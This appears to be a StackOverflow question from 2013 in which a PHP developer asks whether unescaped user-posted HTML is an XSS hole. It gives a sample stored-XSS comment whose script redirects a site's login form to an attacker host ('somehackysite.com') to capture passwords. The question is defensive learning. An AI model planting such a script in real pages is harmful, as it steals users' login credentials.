StackOverflow2013

Note that there are some explanatory texts on larger screens.

plurals

POIs user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS
text
Body
copied!<p>I'm a PHP developer and I'm looking to improve the security of my sites.</p> <p>From what I understand the following are two major types of vulnerabilities which affect web applications:</p> <ul> <li>SQL Injection</li> <li>XSS</li> </ul> <p>SQL Injection can be fixed with prepared statements - easy.</p> <p>But I still don't really get XSS - is the following an example of XSS?...</p> <ul> <li>Page full of user-made content has a login form at the top (site-wide).</li> <li>The user's input to the page is not HTML-escaped.</li> <li>A user posts the following content (e.g. a comment) to the page...</li> </ul> <pre><code>A really nice comment  <script type="text/javascript"> $(document).ready(function() { $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); }); </script> </code></pre> <ul> <li>An innocent user comes to the page, the script executes.</li> <li>The innocent user realises they're not logged in, and enter their details into the form.</li> <li>The user's details are sent off to <code>http://somehackysite.com/givemyourpw.php</code> and then the user's account details are stolen.</li> </ul> <p>So I really have three questions here:</p> <ol> <li>Would this work? </li> <li>Is this XSS?</li> <li>Are there any precautions developers should take against XSS other than escaping HTML?</li> </ol>

Querying!

Guidance

An individual column

Larger individual text columns get their own page to allow for proper reading.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload